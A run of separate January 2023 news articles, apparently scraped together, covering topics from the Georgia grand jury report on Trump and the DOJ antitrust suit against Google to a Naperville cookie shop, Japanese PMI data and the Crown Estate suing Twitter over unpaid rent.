Images shared with CSB News by Dr. Kayvan Mirhadi, chief of internal medicine at the Clifton Springs Hospital in New York, are typical of the photos he said he received daily in October 2022 from Iranians wounded by Iranian security forces, showing everything from bullet and pellet wounds, to blunt force trauma. / Credit: Dr. Kayvan Mirhadi/Twitter/@_dr.kay_

Despite multiple operations, she has permanently lost sight in her left eye, according to Hengaw.



"I am never sad about what happened," she said. "I lost some things, but I gained a lot."



It was not immediately clear where Khoshnoudikia was speaking from.



Khoshnoudikia said she had lost sight in one eye "for a purpose. I have never felt sad for myself and for what happened."

Story continues

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Cookies & Dreams' signature cookie -- and bestseller -- is the OG Chocolate Chip, featuring the company's go-to brown sugar dough imbedded with semi-sweet chocolate chips and topped with a light sprinkle of sea salt. Cookies & Dreams plans to open in February in downtown Naperville. (Cookies & Dreams)

A visit to the new Cookies & Dreams shop in downtown Naperville is guaranteed to tantalize all the senses when it opens next month, according to a company spokeswoman.

Located at 22 E. Chicago Ave in the River District dining and shopping center, it will become the fifth store in the Bettendorf, Iowa-cookie chain.

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The only other store in Illinois is in Oak Lawn, which opened last year.

Napervilles Feb. 11 opening date is designed to take advantage of the Valentines Day holiday, said Lisa Hobart, director of operations for the cookie company.

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Cookies & Dreams may start initially as a pop-up shop until all the necessary training and permits are attained to bake cookies on premises, she said.

Cookies & Dreams, which sells freshly baked cookies and related items, has begun hiring for its opening in February in the River District strip mall at 22 E. Chicago Ave. in downtown Naperville. (Suzanne Baker / Naperville Sun)

Cookies & Dreams founder Stephanie Sellerss goal is to provide more than a quality cookie for people to buy, Hobart said.

We really want it to be an experience, she said.

That starts with welcoming customers with a friendly greeting, a cookie to sample and the aroma of freshly baked cookies, she said.

They want to smell that when they walk in the door, Hobart said.

Then the staff speaks with guests to narrow down what types of cookies are their favorites, she said.

Each month the Naperville shop will offer 12 different cookie varieties made from scratch on-site. They range in size from 5 ounces to 7 ounces, depending on the flavor, she said.

Nine of the options are offered year round and three are swapped out monthly.

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The bestseller and the companys signature cookie is the OG Chocolate Chip, with semisweet chips topped with a sprinkle of sea salt, Hobart said.

The snickerdoodle also is very popular, she said, and the peanut butter cookie is made with 12 points of peanut butter per batch.

In February, the Naperville store will feature three decadent flavors in time for Valentines Day: a dark chocolate, a Nutella-stuffed red velvet, and the Poppin Champagne.

Cookies are available individually or can be packaged as gifts for special events, holidays or corporate functions.

For festive occasions, Cookies & Dreams offers 10-inch round cookie cakes, which are more like a deep-dish cookie pie. Among the options is the OG Chocolate Chip filled with Nutella.

The Naperville store also will sell cereal-based snack mixes, and expects to add flavored milk to accompany the cookies in the next few months, Hobart said.

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Mint to Dream Big is a collaboration between Cookies and Dreams and Big Brothers Big Sisters of the Mississippi Valley. It is a soft mint cookie with white and semi-sweet chocolate chips and topped with chocolate ganache and Andes mint chips. (Cookies Dreams / HANDOUT)

Developing partnerships with the community is an integral part of companys philosophy, according to Hobart.

For example, they collaborated with Big Brothers Big Sisters of the Mississippi Valley to create Mint to Dream Big, a soft mint cookie loaded with white and semisweet chocolate chips and topped with chocolate ganache and Andes mint chips, she said.

A portion of the sales went to the nonprofit group.

Cookies & Dreams also partnered with Argrows House, an Iowa group that assists women heal from domestic violence and abuse by providing employment.

Hobart said the workers craft cookie-scented bath and body products.

Those products are sold at Cookies & Dreams stores as well as cookie-scented candles produced by another Iowa-based women-owned business.

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The Naperville shop still needs to hire more workers and expects to employ between 25 to 30 people, Hobart said.

As a woman entrepreneur, Sellers wants to develop women and teach them the life skills to dictate their success, she said.

The company tries to be flexible and has hired mothers who just want to get out of the house for a few hours a week.

Its a fun culture, Hobart said. Cookies are fun, and youre baking cookies. What could be more fun?

The plan is to increase the number of locations over the next several years but still maintain the same quality and consistency at all locations, she said. One thing theyre exploring is how to prepare the batter at its Iowa plant so individual stores do just the baking, she said.

That also opens the possibility of Cookies & Dreams offering cookie dough for sale as school fundraisers, Hobart said.

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subaker@tribpub.com
[Source]

A Japanese official has apologized after being filmed with his hands in his pockets during an official trip to Washington, D.C.

Deputy Chief Cabinet Secretary Seiji Kihara, who serves as an aide to Japanese Prime Minister Fumio Kishida, received heavy criticism online for a gesture viewed as casual and inappropriate according to traditional Japanese etiquette standards.

The incident occurred during Kishidas first summit with U.S. President Joe Biden on Jan. 13.

As Kishida spoke to the media, Kihara was captured in the background with his hands inside his pants pockets. Many in Japan believe that such an action portrays a dismissive attitude and is considered inappropriate in formal scenarios.

More from NextShark: Man spends almost $23,000 on realistic costume to fulfill his dream of becoming a wolf

When footage of Kishidas interview emerged on Japanese media, viewers criticized Kihara as shameful, disrespectful and arrogant.

The 52-year-old aide addressed the gaffe last week during a YouTube livestream, where he apologized and revealed that his mother saw the comments online.

She reportedly called him on the phone to tell him she was ashamed of his behavior and even suggested that he sew up his suit pockets to avoid repeating such an embarrassment in the future.

More from NextShark: Japanese man collects pebbles stuck to his shoes from a years worth of walks to convenience store

Speaking with Japanese YouTuber Yoshikatsu Ikuta, Kihara described himself as the kind of person who puts his hands in his pockets and walks while thinking.

Story continues

Justifying his actions, Kihara claims that at the time of the incident, he was thinking of how the amicable relations at the Japan-US summit talks could be conveyed.

Kihara is not the only Japanese politician to face criticism for being caught with their hands in their pockets.

More from NextShark: During the Chinese Exclusion Act, an ingenious backwoods chef from China helped make Yosemite National Park a reality

Tokyo Governor Yuriko Koike faced a similar backlash in 2019 for warming her hands in her coat pockets due to the cold weather. The governor apologized to reporters before being criticized on social media.
TOKYO (Reuters) - Japan's manufacturing activity contracted for a third straight month in January as export weakness persisted amid a worsening global outlook, a corporate survey showed on Tuesday.

The au Jibun Bank flash Japan manufacturing purchasing managers' index (PMI) was at a seasonally adjusted 48.9 in January, unchanged from the final reading in the previous month.

The soft factory activity clouds policymakers' hopes that key wage talks in the months ahead will offset the squeeze to consumers from 41-year-high inflation and help sustain the fragile post-pandemic recovery.

The index stayed below the 50-line that separates contraction from expansion for a third straight month, after December's final figure marked the fastest fall in 26 months.

Factory output and new orders decreased for a seventh consecutive month, although at slower paces than last month, the sub-index data showed.

The Reuters Tankan survey last week showed the first negative reading for business confidence at big Japanese firms in two years amid worsening overseas conditions and rising living costs.

By contrast, service-sector activity extended growth for a fifth month, thanks to a tourism boom and relaxation of COVID-19 curbs.

The au Jibun Bank flash services PMI rose to a seasonally adjusted 52.4 in January from the previous month's 51.1 final, hitting a three-month high.

"Similar to trends recorded over much of the past six months, a divergence between the manufacturing and services sectors has remained," said Laura Denman, economist at S&P Global Market Intelligence, which compiles the survey.

On the outlook, however, service operators were less optimistic, with a business sentiment sub-index hitting the lowest in 24 months. While input prices rose at a faster pace than the previous two months, output price inflation was the slowest in five months, squeezing profitability.

Overall, the au Jibun Bank Flash Japan composite PMI rose to 50.8 in January, up from last month's final 49.7 and emerging above the break-even 50 line for the first time in three months.

(Reporting by Kantaro Komiya; Editing by Sam Holmes)
The number of journalists killed while working in the field experienced a sharp increase in 2022, according to a new study.

The Committee to Protect Journalists annual report released this week found 67 journalists and other media workers were killed around the world last year, a 50 percent increase from the year prior and the highest number since 2018.

The CPJs report noted at least 41 media professionals were killed in direct connection with their duties, while the organization is still investigating the circumstances surrounding the 26 other deaths.

A total of 15 of the killings took place in Ukraine, including the death of a Fox News cameraman and crew member during a missile strike in the war-torn European nation amid its ongoing war with Russia.

The group also documented 30 journalists killed in Latin America in 2022, almost half of the global total  including 13 in Mexico alone, the highest single-year total for that country. And five journalists were killed in relation to their work in Haiti.

CPJ also highlighted the May shooting death of Palestinian American journalist Shireen Abu Akleh, who was apparently killed by gunfire from Israel Defense Forces.

About a third of the journalists killed were local reporters covering sensitive topics, such as politics, crime and corruption.

Their deaths underline the extent of threats faced by the press around the world, including in countries with democratically elected governments, CPJ wrote.

For the latest news, weather, sports, and streaming video, head to The Hill.
A judge is set to hold a hearing Tuesday to consider whether to release a report by a Georgia special grand jury into whether then-President Donald Trump and his allies unlawfully attempted to interfere with the 2020 election results.

Fulton County Superior Court Judge Robert McBurney will determine whether to release the report after hearing arguments from the district attorneys office, news organizations and potentially attorneys representing witnesses in the grand jurys investigation.

The attorneys representing Trump in the investigation told NBC News that they will not be present nor participating in Tuesdays hearing. They asserted that Trump was never subpoenaed or asked to voluntarily testify before the grand jury.

McBurney, who was overseeing the panel, issued an order Monday dissolving the special grand jury. The order says the grand jurors completed a final report and that a majority of the county's superior court judges voted to dissolve the special grand jury. (Ben Gray / AP)

In their statement, Trumps attorneys make no mention of any intention to fight the release of the report.

Therefore, we can assume that the grand jury did their job and looked at the facts and the law, as we have, and concluded there were no violations of the law by President Trump, they said.

McBurney said in a ruling this month that the special grand jury had completed its final report and submitted it to Fulton County District Attorney Fani Willis office. The judge did not indicate what the findings were, but the report is expected to include recommendations on possible criminal prosecution.

The grand jury, which recommended that its report be made public, does not have the power to issue indictments. Willis will determine whether to present evidence to a grand jury for indictments.

Willis called for the special grand jury last year because it has the authority to issue subpoenas for witnesses to testify. The panel has heard testimony from multiple figures in Trumps inner circle, including attorney Rudy Giuliani and Sen. Lindsey Graham, R-S.C. Top Georgia officials, such as Gov. Brian Kemp and Secretary of State Brad Raffensperger  both Republicans whom Trump and his allies tried to pressure into overturning the 2020 election results  also testified.

Story continues

Willis opened the investigation in early 2021 after a recording surfaced of a phone call that January between Trump and Raffensperger. The then-president pressed Raffensperger to find the votes needed to overturn Joe Bidens victory in the 2020 election.

"All I want to do is this. I just want to find 11,780 votes, which is one more than we have. Because we won the state, Trump said in the call.

In a post on his social media platform, Trump on Tuesday repeated his oft-stated claim that the call was "PERFECT, nothing done or said wrong."

This article was originally published on NBCNews.com
ATLANTA (AP)  A judge said Tuesday that a final report produced by a special grand jury tasked with investigating whether then-President Donald Trump and his allies broke the law as they tried to overturn his 2020 election defeat in Georgia will remain under wraps for now.

Fulton County Superior Court Judge Robert McBurney said he was considering whether to release the report after hearing arguments from prosecutors, who urged it be kept secret until they decide whether to file any charges, and a coalition of media organizations, which pressed for its release.

He said he would further reflect on the parties' arguments and would reach out with any questions before making a final decision. He also said he anticipated his eventual decision would be appealed.

The report is expected to include recommendations for Fulton County District Attorney Fani Willis on possible criminal prosecution. If McBurney decides to disseminate the report, as the special grand jury urged, he must also determine whether any parts of it should be redacted.

The investigation is one of several that threaten potential legal consequences for the Republican former president as he seeks reelection in 2024. Over a period of roughly seven months, the special grand jury heard from dozens of witnesses, including high-profile Trump allies, such as attorney Rudy Giuliani and Sen. Lindsey Graham of South Carolina, and high-ranking Georgia officials, such as Secretary of State Brad Raffensperger and Gov. Brian Kemp.

Willis began investigating shortly after a recording of a January 2021 phone call between Trump and Raffensperger became public. In that call, the president suggested that the states top elections official, a fellow Republican, could find the votes needed to overturn his loss to Democrat Joe Biden.

I just want to find 11,780 votes, which is one more than we have, Trump had said. Because we won the state.

A coalition of news organizations, including The Associated Press, argued in favor of releasing the report in full, saying public interest in the report is extraordinary. Attorney Tom Clyde, representing the news media, said arguments for keeping the report secret would typically be a case involving minors or highly private information.

Story continues

It doesnt typically involve public officials who are involved in activities following a national election, Clyde said.

Willis argued Tuesday that disclosing the report now could violate the rights of potential defendants and could negatively affect the ability to prosecute those who may be charged with crimes.

We want to make sure that everyone is treated fairly and we think for future defendants to be treated fairly, it is not appropriate at this time to have this report released, Willis said.

The district attorneys office is not opposed to the eventual public release of the report, added prosecutor Donald Wakeford, but it is opposed to it right now.

Trump's legal team in Georgia said in a statement Monday that it would not participate in the hearing.

To date, we have never been a part of this process, Drew Findling, Marissa Goldberg and Jennifer Little wrote, noting that the former president was never subpoenaed or asked to come in voluntarily as part of the investigation.

Therefore, we can assume that the grand jury did their job and looked at the facts and the law, as we have, and concluded there were no violations of the law by President Trump," they wrote.

Trump defended his actions in several posts Tuesday morning on his social media platform, Truth Social. Referring to his call to Raffensperger, he wrote, It was PERFECT, nothing done or said wrong.

The original order granting Willis request for a special grand jury authorized the panel to make recommendations concerning criminal prosecution as it shall see fit.

Its unclear just how specific those recommendations will be. The special grand jury did not have the power to issue indictments, and it will ultimately be up to Willis to decide whether to seek indictments from a regular grand jury.

While the special grand jurys work took place in secret, as required by law, related public court filings provided a glimpse of investigative threads that were being pursued. Those included:

 Phone calls by Trump and others to Georgia officials in the wake of the 2020 election.

 A group of 16 Georgia Republicans who signed a certificate in December 2020 falsely stating that Trump had won the state and that they were the states duly elected and qualified electors.

 False allegations of election fraud made during meetings of state legislators at the Georgia Capitol in December 2020.

 The copying of data and software from election equipment in rural Coffee County by a computer forensics team hired by Trump allies.

 Alleged attempts to pressure Fulton County elections worker Ruby Freeman into falsely confessing to election fraud.

 The abrupt resignation of the U.S. attorney in Atlanta in January 2021.

___

Associated Press writer Michelle L. Price in New York contributed to this report.
A federal judge on Monday shot down an unusual effort by the attorney for R. Kellys former business manager Derrel McDavid to force the government to pay McDavids nearly $1 million legal tab.

The long-shot motion filed in October by attorney Beau Brindley alleged the evidence against McDavid, who was acquitted of all counts by a jury, was irreconcilably conflicted and incoherent, and that he deserves payment after successfully defending himself against a capricious and overzealous prosecution.

McDavid incurred $850,000 in legal fees and was left to try to liquidate real estate and other assets in an attempt to pay them off, Brindley stated at the time.

Prosecutors defended bringing their case despite the jurys findings, writing in response that McDavid stood by Robert Kellys side for decades while Kelly sexually abused young girls and manufactured child pornography.

In his four-page ruling, U.S. District Judge Harry Leinenweber wrote that the prosecutors had probable cause to bring the charges against McDavid and the allegations were not vexatious, frivolous or in bad faith, which is the legal standard for ordering that a defendants legal bills be paid by the government.

The jury assessed the testimony, evidence and credibility of the witnesses, and reached a conclusion on those grounds, Leinenweber wrote. McDavid argues that the governments case was logically impossible, but the court disagreed in trial, and it disagrees now.

A jury of seven women and five men acquitted McDavid, 61, of all counts alleging he conspired with Kelly and another associate, Milton June Brown, to buy back incriminating videotapes of the singer sexually abusing underage girls and rig his 2008 child pornography trial in Cook County. Brown was also acquitted of the single count against him.

The verdict was split, however, as the jury convicted Kelly on child pornography charges for making three videotapes of himself sexually abusing his then-14-year-old goddaughter beginning in the late 1990s, as well as sexual misconduct with two other minors around the same time period. His sentencing is scheduled for Feb. 23.

Story continues

McDavid was paid millions as Kellys longtime associate, according to trial testimony. He is a professional accountant who also managed other celebrities, and co-owns the popular River North restaurant Mercadito.

jmeisner@chicagotribune.com

mcrepeau@chicagotribune.com
Yixian dark tea artworks are displayed at a studio in Yixian county, east China's Anhui province, July 30, 2021. [Photo/Xinhua]





Once a niche product reserved for border trade, Chinese dark tea is now making another long and bumpy journey toward new-style beverage shops, which are the darling of the young sipping class.



Dark tea, or fermented tea, has a long history of being compressed into tea cakes and carried on horseback to northwestern hinderlands and foreign countries, winning it the sobriquet "border tea" or "export tea."

As the fashion of new-style tea brews swept across China, dark tea found new clients in big cities: the many bubble tea shops vying for the hearts of young urbanites with innovative recipes.

In Changsha, the glitzy capital of Hunan, tea shops mix dark tea with light cream and pecans and advertise its health-enhancing effects, such as lowering cholesterol levels.

"I like bubble tea but don't want to get fat, so I'm attracted to the 'fat-scraping' effect of dark tea, as well as its special taste," said Peng Hongzhi, a 37-year-old Changsha resident and fan of dark tea-based bubble tea.

Peng notes dark tea's bitter taste and special aroma, which have long made the tea an outlier in China's mainstream tea market. Its unique bitterness also poses a challenge for developers of popular beverages.

Sexy Tea, a popular tea brand also known as Modern China Tea Shop, said it began to develop dark tea-based beverages in 2019, in a bid to diversify its portfolio of green, black and oolong teas. The company selected dark tea categories with richer flavors and added cream to improve the taste.

"Dark tea has a strong personality. Some clients love it, some hate it," said Liu Qiaofang, who works in public relations with Sexy Tea.

Liu Yang, founder of Chaermasi Chinese Dark Tea, is one of the young entrepreneurs working to unleash the market potentials of dark tea, which remains a niche product among young consumers.

"We wish to introduce dark tea into the lives of young Chinese in a more fashionable manner," said Liu, who has opened four outlets using dark tea leaves to make bubble tea and fruit tea.

As a newcomer in the new-style tea market, fermented tea drinks have few successful predecessors to draw experience from, so Liu's team creatively mixes the tea with the Momordica grosvenorii fruit and dried orange peel to amplify its health benefits.

"To our delight, 30% of our first-time buyers have become regular customers," he said, anticipating a growing number of health-conscious consumers.

According to research firm iiMedia Research, the value of China's new-style tea market is estimated to reach 374.93 billion yuan (about $55 billion) in 2025, with 26.2% of consumers in 2022 expecting to consume more new tea beverages in the future.

To attract wealthier young customers, many new-style tea brands have replaced fannings and low-quality cream with high-quality tea leaves and fresh milk. Demands for more diverse and unconventional brews have also opened opportunities for niche categories like dark tea.

Not all forays into this rising market have succeeded. A pub-like tea house in Changsha said it once introduced cakes made from dark tea, but they were eventually taken off the shelves due to a lukewarm response from clients.

Li Shengfu, a master of making Anhua Dark Tea, is optimistic about the market prospects of dark tea's synergy with pastries and popular beverages. The addition of China's traditional tea-making to the UNESCO intangible cultural heritage list in late 2022 will also boost the rural tea industry and the supply chain, he said.

"The dark tea's unique fragrance and the properties of fermented tea are suitable for secondary processing. It will take some time, but dark tea derivatives will surely be loved by more people," said Li.
The Justice Department and several states sued Google on Tuesday, alleging that its dominance in digital advertising harms competition.

The government alleges that Googles plan to assert dominance has been to neutralize or eliminate rivals through acquisitions and to force advertisers to use its products by making it difficult to use competitors products.

The antitrust suit was filed in federal court in Alexandria, Virginia. Attorney General Merrick Garland was expected to discuss it at a news conference later Tuesday.

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This article originally appeared on USA TODAY: Google faces Justice Department suit over advertising practices.
Kaia Gerber talks nepotism and burnout. (Photo: Getty Images)

Kaia Gerber told Elle magazine that she feels she's "lived a whole life already" at just 21. Thats in part because of the spotlight that's followed her mother Cindy Crawford since before Gerber was born, but also due to the modeling career that shes already created for herself. Still, even after all of these years of public recognition and fame, Gerber said that people don't know who she actually is.

"For so long, I felt like as a model, I was playing these different characters, which was really cool, and I still like doing that. But I think now, because I get to do that in acting and thats my primary focus, I appreciate when I feel seen by someone as me, the person," she said in the Feb 2023 cover story. "I wasnt ready for that when I was first modeling, because I didnt feel fully formed. Now I feel more myself."

Gerber also noted that creating a persona for her modeling career in particular acted as a sort of protection from the rejection that many inevitably face.

Gerber covers the Feb. 2023 issue of Elle magazine. (Photo: Cass Bird for Elle)

"I mean, its scary. People were like, 'How do you deal with rejection in modeling?' and I was like, 'Honestly, you dont take it personally,' because its so subjective, and they werent rejecting anything about me as a person. That doesnt mean it doesnt hurt at times, but it was easier to take," she explained. "It can be scary to show yourself, because it opens you up for criticism and for people to not agree with you and not like you, but I think I just came into myself more. I was like, 'No, I do have a point of view, and I have things to say.; You accept that not everyone is going to agree with that, but I dont need that anymore."

While Gerber has been criticized for benefiting from her mother's notoriety  she falls under the "nepo baby" label, for nepotism, that many next-generation celebrities are currently facing following New York Magazines buzzy deep dive on the topic  the 21-year-old has proven herself as a model on the world's most notable runways and in a number of big campaigns. It's the work that she's put into proving her value in those spaces that ultimately led her to experience a bit of burnout just before the pandemic put her and so many others out of work.

Story continues

"Honestly, it came at a time when I really needed it, and it was a really difficult time in the world, but I really had reached a point where I just felt like I was falling out of love with it, and I didnt know that you could ask for a break. I was forced to stop, and I realized how badly I needed one," she said of the shutdown that put her at home with her family.

"When youre being told what to do every day, you dont have time to sit and reflect, she continued. But I had gone through so many changes and had so many massive things happen to me over the years that I was modeling. I had four or five years of processing to do. I felt so lucky that I got to be with my family because Id spent so much time away from them, and I realized I had so much guilt about missing birthdays and things. I had been traveling since I was a teenager, and so I got to develop an adult relationship with my family."

She even got to know herself in a way that she hadn't gotten the chance to before.

"I developed so much deeper relationships in my life, and also a connection to myself. When youre forced to sit with yourself, all of a sudden, youre aware of all the stuff you havent dealt with. There wasnt communication happening between me and myself, and I felt out of body sometimes," she said. "Once I developed that, I was like, 'This isnt something I want to give up.' My personal life and my mental health are not something Im willing to sacrifice for my job ever again."

Gerber said that she's now taking advantage of being able to do more work at home and that shes also traveling less. "I come home, and Im with my dog. I have friends, and Im cooking dinner. I see my therapist, and I see my family," she said.

As she's evaluated her priorities, Gerber said that she's also set on using her influence for good.

"When I see people with a platform not using it the way that they could, it makes me upset. I dont expect everyone to have the same opinions about things, but I think that theres so much good that can be done with this platform," she said. "So many people spend so much time complaining about fame. But you can also do something so incredible with it. Ive seen firsthand that actually, you can make a difference. You can change peoples lives, and to not take that opportunity would be silly and make none of it worth it for me."

Wellness, parenting, body image and more: Get to know the who behind the hoo with Yahoo Life's newsletter. Sign up here.
A Kansas teen has been arrested in the killing of his mother.

Hayden C. Lance was arrested Monday night on suspicion of second-degree murder in the killing of his mother, Briana Lance, according to Kansas Bureau of Investigation spokesperson Melissa Underwood.

Police were called around 3:30 p.m. Monday about an unresponsive person at a home in Canton, a town of just over 600 people about 13 miles east of McPherson. Officers found the 52-year-old dead in the backyard with signs of injury and trauma, Underwood said in a news release.

The womans 18-year-old son was arrested about two hours later and booked into McPherson County Jail. The news release says formal charges are pending.
KENNEBUNK, Maine  Kennebunk did not have a single reported violent crime in 2022, making it the safest town in Maine, according to Safewise, a nationally known company that focuses on home security.

Police Chief Robert MacKenzie recently confirmed that statistic. No murders. No manslaughter cases. No rapes. No assaults.

Not even a report of, say, a guy getting punched in the nose during a fight in a parking lot some place where drinks are served on a Friday night?

Nope.

Its significant, MacKenzie said. I think that says something about our people that live here and come here."

Police Chief Bob MacKenzie speaks about Kennebunk being named the safest town in Maine on Thursday, Jan. 19, 2023.

Kennebunk is the only town in the York County Coast Star coverage area to make Safewises list of the states top ten safest communities. Here in York County, only Eliot also made the list, landing in the fifth spot.

In reaching the top of the list, Kennebunk overtook Cumberland, which Safewise had deemed the safest town in Maine for the past three years.

Safewise compiles the list annually after analyzing data provided by police departments to the Federal Bureau of Investigation.

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During a recent Select Board meeting, the Safewise designation was mentioned during a brief statement read straight from that nights agenda. It was an unceremonious announcement that did not prompt any comments from any of the board members or the public when it was over.

Theres a reason for that. This is not the first time Kennebunk has risen to the top of Safewises list. According to MacKenzie, the town has received that designation often over the past decade or so.

How often? Enough so that the Kennebunk-Kennebunkport-Arundel Chamber of Commerce does not necessarily go all-out with the Safewise designation when marketing the community.

We have included the safest info in our guidebook each year, but honestly don't do much beyond that, Chamber Executive Director Laura Dolce said in a recent email. We have so many great attributes  the beach, beautiful scenery, top-notch schools, wonderful residents, thriving businesses  that being the safest is just one among many.

Story continues

Dolce praised the local Police Department.

Of course, we are huge fans and supporters of our Police Department, which we think is pretty special and deserves all the credit for keeping us safe, Dolce said.

During a recent interview, MacKenzie shared that credit with the community, which he said has a solid, helpful see-something-say-something approach to public safety.

I do believe our community is pretty vigilant, MacKenzie said. We dont care if we get a call, and it turns out to be nothing. Wed rather that happen a thousand times than not get a call and something happens.

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What's Kennebunk's secret to low crime stats?

So at a time when domestic violence, assaults and even murders made local headlines in 2022, what is the secret of Kennebunks success?

MacKenzie suggested the recipe. Kennebunk is a small community, both in terms of square miles and population, allowing his departments staff of 24 full-time officers and seven part-time officers to have a high visibility among residents. Then theres the aforementioned vigilance of residents as they go about their lives in the community.

Police Chief Bob MacKenzie speaks about Kennebunk being named the safest town in Maine on Thursday, Jan. 19, 2023.

But according to MacKenzie, one particular crucial piece is this: for a couple of years now, the department has had behavioral health professionals who act as liaisons to residents whose problems and challenges, if left unaddressed, could fester into deeper, more consequential issues for them.

Gone, then, are the days when officers reported to a home, settled a domestic matter, and then just left figuring they will be back some day to address an even bigger issue. Now, a behavioral health professional gets involves and connects residents to resources to help them address their issues, in the hope that they will not spiral further out of control.

Law enforcement cant do everything, MacKenzie said. What we can do is connect those people to the services that are out there and available.

MacKenzie said he believes in communities funding their police department to allow them to work alongside experts in the field of behavioral health.

Thats exactly what were doing here, he said.

When it comes to property crimes in 2022  vandalism, burglaries, criminal mischief, and so on  Kennebunks statistic came in at 4.5 per thousand people and kept it in the top ten of that category, as well.

MacKenzie attributed the low property crime rate to a few factors. One, he said, more people today have surveillance cameras set up on their properties. And two, as a result of the COVID-19 pandemic, more and more people are working at home, thwarting burglars, who often strike during the daytime, MacKenzie said.

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Safewise rankings based on FBI crime data

On its website, Safewise says it releases its annual rankings to highlight American cities with low crime rates and start conversations about how to make all communities safer. The company uses FBI crime data for its report, which means it relies solely on information provided voluntarily by communities that submit it to the FBIs Summary Reporting System and the National Incident-Based Reporting System.

Police Chief Bob MacKenzie speaks about Kennebunk being named the safest town in Maine on Thursday, Jan. 19, 2023.

Safewise also has a population threshold that it uses, reporting only on communities with populations above the median for each state. Communities with less than 2,500 residents are not a part of the report.

This reduces the risk of outliers and lowers the likelihood of an extreme outlier skewing the data, said Rebecca Edwards, a security expert and safety and technology reporter. Because every city in a state may not report to the FBI, a state's total population may not be accounted for, and the median population we determine is likely different than a median based on U.S. Census data.

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Edwards acknowledged that the FBI data is just one of the ways a community reports its crime statistics.

To make sure that were comparing apples to apples, weve chosen to use this data as the basis of our safest cities reporting, Edwards said. Plus, this is the most consistent report available for most cities across the nation.

To keep its reputation as a safe community, MacKenzie urges residents and business owners not to become complacent and slip into a mindset of nothing ever happens here.

In fact, things do happen here, he said. People still have to be vigilant.

This article originally appeared on Portsmouth Herald: Kennebunk ME named safest community in state
The widow of slain journalist Jamal Khashoggi on Monday responded to former Secretary of State Mike Pompeo, who in his new book dismissed what he called faux outrage surrounding her husbands death.

In an interview with NBC News, Hanan Elatr said she is committed to silence all of these people who publish books, disparage my husband and collect money from it.

Whatever he [Pompeo] mentions about my husband, he doesnt know my husband. He should be silent and shut up the lies about my husband, she said. It is such bad information and the wrong information.  This is not acceptable.

Pompeo, a potential 2024 presidential candidate, wrote about Elatrs husband in his new book, titled Never Give an Inch: Fighting for the America I Love, slated to be released on Tuesday.

In it, Pompeo sharply criticizes the medias coverage of Khashoggis killing, saying that outlets portrayed him as a Saudi Arabian Bob Woodward and referred to the aftermath of his death as faux outrage  fueled by the media, according to The Guardian.

In truth, Khashoggi was an activist who had supported the losing team in a recent fight for the throne  unhappy with being exiled, Pompeo wrote in his book.

Pompeo also wrote in his book that Khashoggis murder was ugly but not surprising.

Khashoggi, a columnist for The Washington Post, was brutally murdered in 2018 at a Saudi Embassy in Turkey. U.S. intelligence has determined that Khashoggis killing was an assassination approved by Saudi leaders.

For the latest news, weather, sports, and streaming video, head to The Hill.
After successfully building Kind Snacks into a multibillion-dollar company, Daniel Lubetzky and his team, including former Kind executive Elle Lanning, have unveiled Camino Partners, a startup incubator and investment platform.

Lubetzky, founder and chairman of Camino Partners, built Kind up from just $5 million in initial investment and told TechCrunch he wants to help other companies do the same thing. He intends to deploy $350 million  funds he already has  into the next generation of transformative companies over the next five years, initially beginning with consumer brands.

His own journey started 25 years ago with Peaceworks, a company bringing together neighbors in conflict regions, like the Middle East, around collaborative ventures. It was a classic startup story where it took 10 years of lessons  two steps forward, two steps back kind of things  while building the company that prepared Lubetzky to launch Kind.

I was making so many mistakes, but I drew lessons from those, and then the first 10 years of Kind were just like soaring, he said.

With Camino Partners, formerly known as Equilibra, Lubetzky and his team want to help other startups avoid needing 10 years of mistake-making before they have a successful company.

Camino, which means journey in Spanish, is throwing out the traditional startup playbooks and instead will be guiding entrepreneurs on values, including integrity, ingenuity and entrepreneurial spirit. It will also take a meaningful stake in brands with proven market versatility and customer following, Lubetzky said.

We want to help people not have to go 10 years through the desert and get there faster, but with a dose of humility, he added. Today, you have to think about the circumstances and adapt to the changing circumstances, and what I love about my team is that that's who they are.

Elle Lanning is leading Camino as managing partner after spending 13 years at Kind, most recently holding the role of chief of staff. She said the company isnt exclusively focused on consumer packaged goods, but is also looking at startups that have culture creation: a culture of ownership, a shared set of values and financially sustainable structure.

Story continues

We did not have a single sales channel when building Kind, and so understanding the interconnectivity of those and how to think about them in relation is what we've seen, in this past year, a lot of brands have started to do, Lanning told TechCrunch. They recognize one channel is probably not the path forward. That's where we also see the unique advantage in our skill set  being able to lay out that kind of broader ecosystem.

Meanwhile, the organization has already incubated Mexican better-for-you food brand Somos, a company Lubetzky co-founded, and invested in companies, including European breakfast and snack brand Belgian Boys, gimMe seaweed and Cava fast-casual Mediterranean grill.

Camino Partners will work with partners to select a small number of companies to build from scratch, Lubetzky said.

We will also invest in existing ventures, but where we have a meaningful role, he added. We don't need to have a controlling stake, but it has to be a very meaningful stake. In some cases, we will launch things and be the majority shareholders and in other cases we won't. In all cases, it has to be very meaningful and it has to be of much greater significance to our partners and to us.
King Charles III and Elon Musk. HENRY NICHOLLS/POOL/AFP via Getty Images; Taylor Hill/Getty Images

Twitter faces legal action from the Crown Estate, which manages properties owned by King Charles III.

Insider understands that the estate has begun legal proceedings against Twitter over its London offices.

King Charles is the ultimately owner of the estate, though has little day-to-day involvement.

Twitter is being taken to court in the UK by the Crown Estate, which manages the property portfolio owned by King Charles III, over an alleged failure to pay rent on its London office.

Insider understands that the Crown Estate has issued court proceedings to Twitter following previous contact with the social-media company over unpaid rent, and that two parties are currently in discussions.

All the Twitter signs and logos have been removed from the London office, but Elon Musk's company still occupies it, according to The Daily Telegraph, which first reported on the lawsuit.

In December 2022, The New York Times reported that Twitter hadn't paid rent on any of its offices for weeks. Since then, the landlord for Twitter's San Francisco headquarters has also begun legal proceedings against the social-media company.

Employees in Singapore were even temporarily evicted from their office due to nonpayment of rent  before Musk ultimately paid up later that day, Insider's Kali Hays previously reported.

Twitter's office in Soho, Central London. James Manning/PA Images via Getty Images

Earlier this month, Insider reported that Twitter's New York office has a cockroach problem, with staff also complaining of uncleaned bathrooms and clogged toilets.

This comes amid a series of cost-cutting measures at Twitter, with the workforce reduced from over 7,000 down to 2,300, according to Musk himself. It has also auctioned off nearly 250 items from its San Francisco HQ, with a statue of the Twitter bird logo selling for $100,000.

Twitter did not immediately respond to Insider's request for comment.

The Crown Estate manages $19.2 billion worth of properties including 241 in central London, according to its most recent annual report. As the property is ultimately owned by the monarch, three-quarters of the Crown Estate's $384 million net revenue profit goes towards public spending in Britain  with the rest given back to the royal family.

